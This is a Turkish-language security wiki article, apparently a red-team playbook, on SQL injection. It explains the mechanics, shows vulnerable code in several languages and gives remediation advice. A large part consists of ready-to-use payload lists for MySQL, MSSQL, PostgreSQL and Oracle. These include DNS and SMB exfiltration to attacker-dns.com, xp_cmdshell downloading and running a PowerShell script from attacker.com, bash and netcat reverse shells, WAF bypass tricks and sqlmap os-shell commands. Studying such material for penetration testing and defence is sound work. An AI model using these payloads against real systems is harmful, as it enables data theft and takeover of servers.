SQL Injection (SQLi)
> Yazar: Emre Ermenek
Web uygulamalarının mimari zafiyetleri arasında en kritik ve tahrip edici olanlardan biri olan SQL Injection (SQLi), uygulamanın veritabanı (RDBMS) ile kurduğu iletişimin manipüle edilmesidir. Stratejik düzeyde bir Red Team operasyonunda SQLi, yalnızca veri sızdırma (data exfiltration) aracı değil, aynı zamanda iç ağa sızma (pivoting), Remote Code Execution (RCE) elde etme ve tüm domain altyapısını ele geçirme (Domain Compromise) zincirinin ilk halkasıdır.
Modern mimarilerde SQLi zafiyeti, klasik monolitik uygulamalardan çıkıp API tabanlı mimarilere, mikroservislere, JSON/XML ayrıştırıcılarına ve gRPC uç noktalarına kadar genişlemiştir. Zafiyetin doğası gereği saldırgan, güvenilmeyen kullanıcı girdisini doğrudan SQL yorumlayıcısına (SQL Parser) bir komut olarak yollayarak Abstract Syntax Tree (AST) ağacını bozar. Bu durum, veritabanı motorunun (MySQL, MSSQL, Oracle, PostgreSQL vb.) mantıksal sınırları aşarak yetkisiz okuma/yazma/silme yapmasına veya işletim sistemi düzeyinde komut çalıştırmasına yol açar.
How It Works (Teknik Analiz)
Bir ilişkisel veritabanı yönetim sistemi (RDBMS), bir SQL sorgusunu işlerken temelde 4 aşamadan geçer: Parse (Ayrıştırma), Bind (Bağlama), Optimize (Optimizasyon) ve Execute (Çalıştırma).
SQL Injection, uygulamanın dinamik SQL sorguları oluştururken String birleştirme (String concatenation) kullanması durumunda, verinin Parse aşamasında yapısal bir koda dönüşmesi sorunudur. Girdi olarak beklenen bir literal değer (örneğin bir kullanıcı adı), içine eklenen tırnak (') veya çift tırnak (") işaretleri nedeniyle Lexical Analyzer (Sözcüksel Analizör) tarafından beklenenden erken kapatılır. Kalan girdi, veritabanı motoru tarafından çalıştırılabilir SQL komutları (Token'lar) olarak algılanır. Bu durum, veri (Data) ve kontrol (Control) düzlemlerinin birbirine karışması anlamına gelir.
Vulnerable Code Patterns
Zafiyetli kod yapıları genellikle parametrik olmayan sorguların doğrudan veritabanı sürücüsüne gönderilmesiyle oluşur. Aşağıda farklı dillerde bu zafiyetin nasıl oluştuğuna dair derinlemesine örnekler bulunmaktadır:
// PHP (MySQLi) - Zafiyetli String Concatenation
// Saldırgan $username değişkenine "admin' --" gönderdiğinde, şifre kontrolü atlatılır.
$username = $_POST['username'];
$password = $_POST['password'];
// KÖTÜ KOD: Girdi doğrudan SQL AST'sine dahil ediliyor.
$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = $mysqli->query($query);
// Java (JDBC) - Zafiyetli Dinamik Sorgu
String userId = request.getParameter("id");
// KÖTÜ KOD: Statement nesnesi string birleştirme ile çalıştırılıyor.
Statement statement = connection.createStatement();
String sql = "SELECT first_name, last_name FROM employees WHERE id = " + userId;
ResultSet resultSet = statement.executeQuery(sql);
// Python (Psycopg2 - PostgreSQL) - Zafiyetli Format String
user_input = request.args.get('category')
# KÖTÜ KOD: Python f-string veya .format() kullanımı SQLi'ye yol açar.
cursor.execute(f"SELECT * FROM products WHERE category = '{user_input}' AND released = 1")
// C# (.NET) - Zafiyetli LINQ/Entity Framework veya ADO.NET Raw SQL
string uName = Request.Form["username"];
// KÖTÜ KOD: Raw SQL doğrudan çalıştırılıyor.
string query = "SELECT * FROM Users WHERE Name ='" + uName + "'";
SqlCommand cmd = new SqlCommand(query, conn);
SqlDataReader reader = cmd.ExecuteReader();
Bu örneklerin tamamında kök neden (Root Cause) aynıdır: Veri taşıması gereken bağlam (Context), kaçış karakterleri (Escape Characters) üzerinden kod bağlamına geçiş yapmaktadır.
Detection & Enumeration (Keşif ve Analiz)
Sızma testlerinde SQLi zafiyetini tespit etmek, uygulamanın verdiği tepkileri (Hata, Mantık, Zaman) analiz etmeye dayanır. İleri düzey Fuzzing ve Enumeration metodolojileri şu şekildedir:
Error-Based Enumeration
Sorgu yapısını bilinçli olarak bozarak (syntax error) veya tip uyuşmazlığı yaratarak (type conversion error) dönen SQL hatalarını inceleme işlemidir. Gelişmiş framework'ler, dönen hata mesajını (Stack trace, veritabanı sürümü) analiz eder.
Logic (Boolean) Based Enumeration
Uygulamanın hata mesajlarını gizlediği (Custom Error Pages 500) durumlarda, saldırgan True (Doğru) ve False (Yanlış) sorgular göndererek HTTP yanıtındaki farklılıkları (içerik uzunluğu, HTTP durum kodu, sayfa içindeki bir kelime) analiz eder.
Time-Based Fuzzing
Ne hata mesajı ne de Boolean farkı yakalanamadığında veritabanının SLEEP() veya WAITFOR DELAY gibi komutlarla bekletilmesi yöntemidir. İsteğin gidiş ve dönüş süresi (Round Trip Time - RTT) hesaplanarak zafiyet teyit edilir.
OOB (Out-of-Band) Enumeration
Bant dışı teknikler, DNS veya SMB istekleri yapılarak tespitin harici bir sunucu üzerinden yapılmasıdır. Özellikle Asenkron işlenen verilerde veya kör (Blind) sistemlerde en kesin tespiti sağlar.
Attack Vectors & Exploitation (İstismar Vektörleri)
SQL Injection, uygulamanın mimarisine ve veritabanının yapılandırmasına bağlı olarak çeşitli alt türlere ayrılır. Aşağıda operasyonel sömürü vektörleri detaylandırılmıştır.
In-Band SQLi: Error-Based
Saldırgan ve veritabanı aynı iletişim kanalını kullanır. Hata mesajlarının doğrudan ekrana yansıdığı durumlarda istismar edilir. Özellikle XML veya matematiksel fonksiyonlardaki taşmalar kullanılarak veri okunur.
In-Band SQLi: UNION-Based
Orijinal SELECT sorgusunun arkasına UNION operatörü ile ikinci bir SELECT sorgusu eklenmesidir. Başarılı olması için iki kural vardır:
- Her iki sorgunun da sütun sayısı (Column Count) aynı olmalıdır (Bunu bulmak için
ORDER BY 1,2,3...kullanılır). - Karşılıklı sütunların veri tipleri uyumlu olmalıdır.
Inferential SQLi: Boolean-Based Blind
Sistemin veriyi ekrana basmadığı durumlarda, her bir karakterin teker teker ASCII veya HEX karşılığının sorularak veritabanından çekilmesi işlemidir. Substring ve ASCII fonksiyonları yoğun olarak kullanılır.
Inferential SQLi: Time-Based Blind
Ağ gecikmelerinden (Network Latency) etkilenmemek için genellikle >5 saniye gecikmeler verilir. Koşul doğruysa veritabanı SLEEP komutunu işler. Yavaş ve gürültülü bir sömürü türüdür, paralel thread'ler (Multi-threading) gerektirir.
Out-of-Band (OOB) SQLi
Hedef sistemden doğrudan veri okunamadığı veya WAF'ın giden trafiği (Egress) aşırı sınırladığı durumlarda, veritabanının kendi yeteneklerini (DNS çözümleme, SMB paylaşımına dosya yazma, HTTP isteği yapma) kullanarak veriyi saldırganın sunucusuna çıkartmasıdır.
Second-Order (Stored) SQLi
Payload sisteme ilk girildiğinde (örneğin bir profil güncelleme ekranı veya kayıt formu) zararsız bir String olarak veritabanına kaydedilir. Ancak bu veri, daha sonra arka planda çalışan farklı bir işlemde (örneğin Faturalandırma modülü, Gece çalışan Cron Job, Admin paneli görüntülenmesi) işlenirken tetiklenir. Tespit edilmesi en zor SQLi türüdür çünkü Payload'un girdiği yer ile tetiklendiği yer tamamen farklı uç noktalardır (Endpoints).
HTTP Header Injection
Saldırgan Payload'u GET/POST parametrelerine değil; User-Agent, Referer, X-Forwarded-For veya Accept başlıklarına yerleştirir. Çoğu geliştirici bu alanları loglama yaparken sanitize etmeyi unutur.
DOM-Based SQLi (Client-Side Database/SQLite)
Modern web uygulamalarında veya mobil uygulamalarda cihazda (Client-side) bulunan WebSQL, SQLite, IndexedDB gibi yapılara dışarıdan müdahale edilerek gerçekleştirilen enjeksiyon türüdür.
Payloads & Advanced Commands
Bu bölümde farklı veritabanı mimarileri için sahada en çok kullanılan ve sömürü sürecini hızlandıran Payload listeleri bulunmaktadır.
Error-Based Data Extraction Payloads
Hata mesajları üzerinden direkt veri sızdırma:
-- MSSQL / SQL Server (Type Conversion Error)
' AND 1=convert(int,@@version)--
' AND 1=cast((SELECT @@version) as int)--
'; DECLARE @data varchar(max); SET @data = (SELECT TOP 1 username FROM users); RAISERROR(@data, 16, 1);--
-- MySQL (XPATH Syntax Error)
' AND EXTRACTVALUE(1, CONCAT(0x5c, (SELECT @@version)))--
' AND UPDATEXML(1, CONCAT(0x5c, (SELECT database())), 1)--
-- PostgreSQL (Cast Error)
' AND 1=CAST((SELECT version()) AS int)--
' AND 1=(SELECT CAST((SELECT current_database()) AS int))--
-- Oracle (CTXSYS Error)
' AND 1=CTXSYS.DRITHSX.SN(1, (SELECT banner FROM v$version))--
UNION-Based Exfiltration Payloads
Kolon sayıları tespit edildikten sonra (örneğin 3 kolon) veritabanı şemasını sızdırma komutları:
-- MySQL (Information Schema)
' UNION SELECT 1, table_name, 3 FROM information_schema.tables WHERE table_schema=database()-- -
' UNION SELECT 1, group_concat(column_name), 3 FROM information_schema.columns WHERE table_name='users'-- -
-- PostgreSQL
' UNION SELECT 1, table_name, 3 FROM information_schema.tables WHERE table_schema='public'--
' UNION SELECT 1, string_agg(column_name, ','), 3 FROM information_schema.columns WHERE table_name='users'--
-- MSSQL
' UNION SELECT 1, name, 3 FROM sysobjects WHERE xtype='U'--
' UNION SELECT 1, name, 3 FROM syscolumns WHERE id=(SELECT id FROM sysobjects WHERE name='users')--
-- Oracle
' UNION SELECT 1, table_name, 3 FROM all_tables--
' UNION SELECT 1, column_name, 3 FROM all_tab_columns WHERE table_name='USERS'--
Blind (Boolean/Time) Inference Payloads
Otomatize araçların arkasında dönen düşük seviyeli mantıksal sorgular:
-- MySQL Time-Based & Boolean
' AND IF(ASCII(SUBSTRING((SELECT database()),1,1))=115, SLEEP(5), 0)-- -
' AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=database() AND table_name='users')=1-- -
-- MSSQL Time-Based
'; IF (SELECT SYSTEM_USER) = 'sa' WAITFOR DELAY '0:0:5'--
'; IF (ASCII(SUBSTRING((SELECT DB_NAME()),1,1)) = 115) WAITFOR DELAY '0:0:5'--
-- PostgreSQL Time-Based
' AND (SELECT CASE WHEN (SUBSTRING(current_database(),1,1)='s') THEN pg_sleep(5) ELSE pg_sleep(0) END)--
-- Oracle Time-Based
' AND 1=(CASE WHEN (ASCII(SUBSTR((SELECT USER FROM DUAL),1,1))=83) THEN DBMS_PIPE.RECEIVE_MESSAGE('a',5) ELSE 1 END)--
OOB (Out-of-Band) Exfiltration Payloads
Bant dışı kanalları kullanarak DNS çözümlemesi ile veriyi dışarı sızdırma:
-- MSSQL (SMB/DNS Exfiltration via xp_dirtree)
DECLARE @p varchar(1024); SET @p=(SELECT host_name()); EXEC('master..xp_dirtree "\\'+@p+'.attacker-dns.com\a"');
-- MySQL (Windows Sadece, UNC Path Load File)
SELECT LOAD_FILE(CONCAT('\\\\', (SELECT CURRENT_USER()), '.attacker-dns.com\\a'));
SELECT sensitive_data INTO OUTFILE '\\\\attacker-smb.com\\logs\\out.txt';
-- PostgreSQL (DNS via COPY)
DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'nslookup '||(SELECT current_user)||'.attacker-dns.com';
-- Oracle (XXE / UTL_HTTP / UTL_INADDR)
SELECT UTL_INADDR.get_host_address((SELECT USER FROM DUAL)||'.attacker-dns.com') FROM DUAL;
SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT USER FROM DUAL)||'.attacker-dns.com/"> %remote;]>'),'/l') FROM dual;
Remote Code Execution (RCE) Payloads
Veritabanı üzerinden işletim sistemine komut gönderme (Post-Exploitation):
-- MSSQL xp_cmdshell
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC xp_cmdshell 'powershell.exe -c "IEX (New-Object Net.WebClient).DownloadString(''http://attacker.com/payload.ps1'')"'
-- MySQL UDF (User Defined Function) - Linux
SELECT binary 0x[HEX_OF_EVIL_SO] INTO DUMPFILE '/usr/lib/mysql/plugin/evil.so';
CREATE FUNCTION sys_exec RETURNS STRING SONAME 'evil.so';
SELECT sys_exec('bash -c "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"');
-- PostgreSQL (COPY FROM PROGRAM) > Version 9.3
COPY (SELECT '') TO PROGRAM 'nc -e /bin/sh 10.0.0.1 4444';
Bypass & Obfuscation (Atlatma Teknikleri)
Kurumsal ağlarda WAF (Web Application Firewall), IPS (Intrusion Prevention System) ve Regex tabanlı filtreler mevcuttur. Bu filtreleri aşmak için Lexer/Parser motorlarının açıklarından yararlanılır.
Quote/String Bypass
Tırnak işaretleri filtreleniyorsa, String oluşturmanın alternatif yolları:
- MySQL (Hex Encoding):
SELECT * FROM users WHERE username = 0x61646D696E(admin) - MySQL (CHAR Function):
SELECT * FROM users WHERE username = CHAR(97, 100, 109, 105, 110) - PostgreSQL (Dollar Quoting):
SELECT * FROM users WHERE username = $$admin$$ - Oracle (CHR):
SELECT * FROM users WHERE username = CHR(97)||CHR(100)||CHR(109)||CHR(105)||CHR(110)
Whitespace Bypass
Boşluk (%20) karakterinin filtrelendiği durumlarda SQL parser'ının yorum satırlarını veya kontrol karakterlerini boşluk olarak algılaması:
- In-line Comments:
SELECT/**/password/**/FROM/**/users/**/WHERE/**/id=1 - Tab / Newline / Return:
%09,%0A,%0C,%0D,%0B(Örn:SELECT%0Apassword%0DFROM%0Cusers) - Parantezler:
SELECT(password)FROM(users)WHERE(id=1)(Boşluk kullanmadan sentaks bütünlüğünü sağlar)
Keyword & Logic Bypass
OR, AND, UNION, SELECT kelimeleri yasaklandığında:
- Case Variation:
sElEcT,uNiOn,fRoM - Operator Substitution:
ANDyerine&&,ORyerine|| - Logic Substitution:
WHERE id=1yerineWHERE id=2-1,WHERE id=abs(1),WHERE id IN(1) - String Manipulation (WAF bypass):
CONCAT('SE', 'LECT')veyaSE%0ALECT - Double URL Encoding:
%2555%254E%2549%254F%254E(UNION kelimesinin çift kodlanmış hali)
HTTP Parameter Pollution (HPP)
WAF cihazları sadece ilk veya son parametreyi kontrol ederken, uygulamanın diğerini kabul etmesi:
?id=1&id=UNION SELECT password FROM users
Remediation & Prevention (Önleme ve Savunma)
Bu güvenlik zafiyetinin kalıcı olarak çözülmesi, yama (patch) yaklaşımıyla değil, yazılım geliştirme yaşam döngüsündeki (SDLC) köklü mimari değişikliklerle mümkündür.
Parameterized Queries (Prepared Statements)
En kesin çözümdür. SQL sorgusu ve verinin birbirinden tamamen ayrıştırılmasını sağlar. Veritabanı, parametreyi (bind variable) çalıştırılabilir kod olarak değil, sadece literal (salt metin) olarak ele alır.
// Güvenli Java (JDBC) Kodu
String query = "SELECT * FROM users WHERE username = ? AND password = ?";
PreparedStatement pstmt = connection.prepareStatement(query);
pstmt.setString(1, inputUsername);
pstmt.setString(2, inputPassword);
ResultSet results = pstmt.executeQuery();
Use of ORM (Object-Relational Mapping)
Entity Framework, Hibernate, Eloquent gibi ORM araçları, varsayılan olarak parametrik sorgular oluşturur. Ancak ORM kullanılırken bile dinamik WHERE veya ORDER BY kısımlarında ham SQL (Raw SQL) kullanımından kaçınılmalıdır.
Input Validation & Sanitization
- Allow-listing (Beyaz Liste): Özellikle sütun adları, tablo adları veya
ORDER BYyönergeleri (ASC/DESC) parametrikleştirilemez. Bu durumlarda statik kod blokları içinde katı beyaz listeler (whitelist) kullanılmalıdır. - Type Checking: Girdi bir tamsayı ise, kullanılmadan önce mutlaka integer/numeric veri tipine dönüştürülmeli (Type Casting) ve doğrulanmalıdır.
Principle of Least Privilege (PoLP)
Uygulamanın veritabanına bağlandığı kullanıcının yetkileri asgari düzeyde tutulmalıdır.
- Web uygulaması kullanıcısı
sa(System Administrator) veyarootolmamalıdır. xp_cmdshell(MSSQL) kesinlikle devre dışı bırakılmalıdır.- Dosya sistemi erişimi (
FILEprivilege in MySQL,secure_file_privkısıtlaması) engellenmelidir.
Stored Procedures
Prosedürler performansı artırsa da, içinde dinamik olarak SQL üretiliyorsa (Örn: EXEC(@sql)) yine SQL Injection'a açıktır. Prosedür içindeki kodların da parametrik yapıda yazılması gerekir.
Common Tools & Frameworks
| Araç | Fonksiyon | Komut Örneği |
|---|---|---|
| SQLMap | Otomatik Keşif & İstismar Framework'ü | sqlmap -u "http://target.com/page?id=1" --dbs --batch --random-agent |
| SQLMap (Riskli) | OOB / RCE & OS Shell tetikleme | sqlmap -r req.txt --os-shell --level=5 --risk=3 --tamper=space2comment |
| Burp Suite (Pro) | Manuel Test, Interception & Active Scan | Payload listelerini Intruder modülüyle Fuzzing yapmak için. |
| Nuclei | Şablon (Template) tabanlı hızlı zafiyet tarama | nuclei -u "http://target.com" -t sqli/ -severity critical |
| BBQSQL | Blind SQLi zafiyetleri için özel Python framework'ü | bbqsql (Konsol tabanlı, asenkron ve hızlı Blind SQLi taraması) |
| SQLNinja | MSSQL spesifik saldırı, RCE ve Data Extraction aracı | Yapılandırma dosyası üzerinden sqlninja -m (mode) |
| JSQL Injection | Java tabanlı hafif ve görsel SQLi sömürü aracı | GUI üzerinden URL girilerek otomatik payload testleri gerçekleştirilir. |
Yazar: Emre Ermenek · AltaySec Wiki — Türkçe güvenlik playbook'u.
← Tüm modüller (interaktif wiki) · Yapay zekâ güvenliği araştırmaları · AltaySec Arşiv